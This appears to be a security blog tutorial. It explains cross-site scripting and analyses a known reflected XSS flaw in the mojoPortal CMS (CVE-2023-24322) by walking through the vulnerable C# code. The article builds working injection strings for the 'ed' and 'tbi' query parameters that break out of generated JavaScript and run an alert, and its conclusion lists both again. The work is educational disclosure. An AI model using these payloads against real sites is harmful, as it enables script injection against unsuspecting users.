In this article, we will thoroughly examine the XSS vulnerability in a CMS written in C#. Let's recall the theory, figure out how the security defect looks from a user's perspective and in code, and also practice writing exploits.
What is cross-site scripting (XSS)?
Note. You can skip this section if you are already familiar with the XSS basics.
XSS (cross-site scripting) is an application vulnerability that involves injecting code into a page viewed by a user. If the application is not protected from XSS, an attacker can inject JavaScript code and steal data or perform other malicious actions.
The simplest example of XSS is when data from parameters or input fields are used without checking/escaping the data itself.
Let's say there is a JS script that extracts the name parameter value from the query string and welcomes the user on the web page:
<script>
var urlParams = new URLSearchParams(window.location.search);
var nameParam = urlParams.get("name");
var name = nameParam ? nameParam : "stranger";
document.write('<div>Hello '+ name + '!</div>');
</script>
We make a request of the XSSExample.html?name=John
kind and get the expected response on the page — "Hello John!"
.
However, if we pass a script instead of the name, it will also be injected in the document's body and executed.
Request example:
XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>
Result:
We've successfully injected the code. This security flaw is called reflected XSS. The injected script is not saved anywhere, and the attacker intends to make the victim make an insecure request to the page (for example, by opening a malicious link). Obviously, not to show the form — it's just a simple way to confirm XSS presence.
Analysis of XSS in mojoPortal CMS (CVE-2023-24322)
Now when we're done with the theory and synthetic examples, let's turn to the analysis of the specific XSS in the open-source project mojoPortal. mojoPortal is a CMS written in C# using ASP.NET. The project's source code is available on GitHub. The XSS vulnerability we are discussing today was discovered in the 2.7.0.0 version.
This vulnerability has the CVE-2023-24322 identifier:
A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.
Here are some key points from the description:
- the vulnerability is located on the FileDialog.aspx page;
- the security flaw can be exploited via the
ed
andtbi
request parameters.
What is the first thing that comes to mind when trying to check XSS? Probably, passing data like <script>alert(0)</script>
via the vulnerable parameter. :)
Let's try writing this string to both parameters and see what happens.
Writing it to the ed
parameter yields no results.
But if we pass the same string via the tbi
parameter, then the page content will change in an interesting way:
However, this is still not what we expected — the pop-up window (the alert
call result) did not appear.
So that we can better understand what is happening and create exploits, let's look into the source code and see how the values of request parameters are used.
General logic
Let's look at the code and see what unites the ed
and tbi
parameters, then we will analyze their processing.
We will start with the Page_Load
method that handles the FileDialog.aspx
page load event:
protected void Page_Load(object sender, EventArgs e)
{
LoadSettings();
if (fileSystem == null) { return; }
PopulateLabels();
SetupScripts();
}
Firstly, we are interested in the LoadSettings
method logic. The values of the ed
and tbi
parameters are written to editorType
and clientTextBoxId
fields, respectively.
public partial class FileDialog : Page
{
private string editorType = string.Empty;
private string clientTextBoxId = string.Empty;
....
private void LoadSettings()
{
....
if (Request.QueryString["ed"] != null)
{
editorType = Request.QueryString["ed"];
}
....
if (Request.QueryString["tbi"] != null)
{
clientTextBoxId = Request.QueryString["tbi"];
}
....
}
....
}
Going back to Page_Load
:
protected void Page_Load(object sender, EventArgs e)
{
LoadSettings();
if (fileSystem == null) { return; }
PopulateLabels();
SetupScripts();
}
Checking fileSystem == null
results in false
, and we are not interested in the PopulateLabels
method. Therefore, let's look at the SetupScripts
body:
private void SetupScripts()
{
SetupMainScript();
SetupjQueryFileTreeScript();
SetupClearFileInputScript();
}
There are 2 methods that are relevant to us: SetupMainScript
and SetupjQueryFileTreeScript
. Why? You will understand that a little later.
Let's start with the SetupMainScript
method:
private void SetupMainScript()
{
switch (editorType)
{
case "tmc":
SetupTinyMce();
break;
case "ck":
SetupCKeditor();
break;
case "fck":
SetupFCKeditor();
break;
default:
SetupDefaultScript();
break;
}
}
Here we can see switch
and the editorType
field (the ed
parameter) that was mentioned before. We influence the code execution logic by changing the parameter value. Now let's take a look at the default
section and the SetupDefaultScript
method call:
//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
script.Append("function fbSubmit () {");
if(browserType == "folder")
{
script.Append(
"var URL = document.getElementById('"
+ hdnFolder.ClientID
+ "').value; ");
}
else
{
script.Append(
"var URL = document.getElementById('"
+ hdnFileUrl.ClientID
+ "').value; ");
}
//script.Append("alert(URL);");
script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
//script.Append("window.close();");
//script.Append("window.opener.focus();");
script.Append("}");
script.Append("\n</script>");
this.Page
.ClientScript
.RegisterClientScriptBlock(typeof(Page),
"fbsubmit",
script.ToString());
}
Interesting. The method gradually writes the JavaScript code to the script
variable, then it registers the script via the RegisterClientScriptBlock
method call. At the same time, the clientTextBoxId
value corresponding to the tbi
parameter is also inserted in the script.
A similar thing is observed in the SetupjQueryFileTreeScript
method, which I mentioned earlier. The method also generates and registers the script using the editorType
value (which corresponds to the ed
parameter).
Because the SetupjQueryFileTreeScript
method is fairly long, I've shortened it below. Here you can find the full version of the code.
private void SetupjQueryFileTreeScript()
{
....
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
....
script.Append(
"var returnUrl = encodeURIComponent('"
+ navigationRoot
+ "/Dialog/FileDialog.aspx?ed="
+ editorType
+ "&type="
+ browserType
+ "&dir=' + selDir) ; ");
....
script.Append("\n</script>");
this.Page
.ClientScript
.RegisterStartupScript(
typeof(Page),
"jqftinstance",
script.ToString());
}
This is an important point, so let's go over it again.
Both methods (SetupDefaultScript
and SetupjQueryFileTreeScript
) have a similar structure. They use the HTTP request parameter values (tbi
and ed
) to create the script.
In a generalized (and simplified) form, the code looks like this:
void SetupScript()
{
StringBuilder script = new StringBuilder();
script.Append("\n<script type=\"text/javascript\">");
script.Append(....);
// tbi and ed values are appended to the script
....
script.Append("\n</script>");
this.Page
.RegisterScript(typeof(Page),
....,
script.ToString());
}
Our task is to "break" the script written to the script
variable. If we succeed, we will change the logic of the generated script and see the result of the code injection.
Since scripts differ in structure and nesting, exploits will also be different. Let's examine each of them separately.
A note on scripts formatting. In the article, I formatted the JS scripts for better readability. In fact, they are written in 2 lines: the opening tag with the script body on the first line and the closing tag on the second one:
<script type="text/javascript">function fbSubmit () { .... }
</script>
Here you can find the full script with its original formatting.
Remember this feature, as it affects the exploit.
Exploit with the tbi parameter
The script with the tbi
parameter looks simpler, so we will start with it.
Let's make a request of the following type:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload
Then the JS code generated in the SetupDefaultScript
method may look like this:
<script type = "text/javascript">
function fbSubmit() {
var URL = document.getElementById('hdnFileUrl').value;
top.window.SetUrl(URL, 'TestPayload');
}
</script>
Look at the second argument of the SetUrl
method: that's where our data, wrapped in quotes, ended up.
Let's try to create a request that will "break" the script and allow us to inject the code. The exploit must solve the following tasks:
- "close" the second argument of the
SetUrl
function; - "close" the
SetUrl
function call; - going beyond the
fbSubmit
function body; - inject the code;
- comment out the remaining piece of the original code (the one that closes the substitution template).
The following string should solve all of the tasks:
TestPayload');}alert('You have been hacked via XSS');//
Let's analyze what its parts do:
-
TestPayload'
"closes" the function argument; -
);
"closes" theSetUrl
function call; -
}
"closes" thefbSubmit
function body; -
alert('You have been hacked via XSS');
— the main injection logic; -
//
— comments out the part of the original template that was left after substituting —');}
.
Now let's check our assumption. To do this, we will make the following request:
http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//
The result was to be expected:
Now the generated JS code with such a request looks like this:
<script type = "text/javascript">
function fbSubmit() {
var URL = document.getElementById('hdnFileUrl').value;
top.window.SetUrl(URL, 'TestPayload');
}
alert('You have been hacked via XSS'); //');}
</script>
As you can see, the exploit solved all the tasks: it helped us to go beyond the function and successfully inject the code.
Well, that's great! We've figured out how to exploit the XSS vulnerability with the tbi
parameter. Now let's move on to the second vulnerable parameter — ed
.
Exploit with the ed parameter
The principle of creating an exploit for the ed
parameter is similar to tbi
.
Let me remind you that the JS code, in which the value of the ed
parameter is inserted, is generated in the SetupjQueryFileTreeScript
(link) method.
Let's make a request of the following type:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload
Now let's look at the generated script. The full version is here, I give a shortened version below:
<script type="text/javascript">
....
$(document).ready(function () {
....
$('#pnlFileTree').fileTree({
....
}, function (file) {
....
var returnUrl = encodeURIComponent(
'http://localhost:56987/Dialog
/FileDialog.aspx?ed=TestPayload&type=image&dir='
+ selDir);
....
}, function (folder) {
....
});
});
....
</script>
Note that the ed
parameter value (the TestPayload
string) got inside the literal.
We face a task similar to the previous one. It is necessary to select the data that would help go beyond the argument of the encodeURIComponent
function and inject the code.
The exploit should solve several tasks as well:
- "close" the
encodeURIComponent
function argument; - "close" functions' calls and bodies;
- inject the code;
- comment out the template's "tail" that will be left after we implement the logic.
The following string meets all the requirements:
TestPayload');});});alert('You have been hacked via XSS');//
The purpose of its components is also clear:
-
TestPayload'
"closes" theencodeURIComponent
function argument; -
);
"closes" theencodeURIComponent
function call; -
});});
"closes" the external functions' bodies; -
alert('You have been hacked via XSS');
— the main injection logic; -
//
comments out the part of the original script that remained after substitution.
Let's make the following request:
http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//
Take a look at the result:
We got exactly what we expected.
The parameter value specified above made the generated JS code look like this (this version is shortened, and here is the full one):
<script type = "text/javascript">
....
$(document).ready(function () {
....
$('#pnlFileTree').fileTree({
....
}, function (file) {
....
var returnUrl = encodeURIComponent(
'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
});
});
alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>
Everything worked just as we expected: we exited the function bodies and inserted our code. You can see how the script changed its logic after we successfully injected data from our request into it.
How did developers fix the code?
The current version of the project doesn't have the FileDialog.aspx.cs
file, which had vulnerabilities. I may assume that the code has been rewritten or just deleted.
Conclusion
We have figured out how XSS might look like in a real project. Let's sum up the main points — it will come in handy if you'd like to tinker with the vulnerability yourself:
- CVE-ID: CVE-2023-24322
- Project: mojoPortal v2.7.0.0
- the vulnerability description: it's possible to exploit XSS on the
/Dialog/FileDialog.aspx
page when using theed
andtbi
parameters - possible exploit for
ed
:TestPayload');});});alert('You have been hacked via XSS');//
- possible exploit for
tbi
:TestPayload');}alert('You have been hacked via XSS');//
If you liked this article and want to read more on the security topic, you are welcome to the blog.
If you want to check your project's code for security flaws (XSS, SQLi, XXE, etc.), try to analyze it with PVS-Studio.
Top comments (0)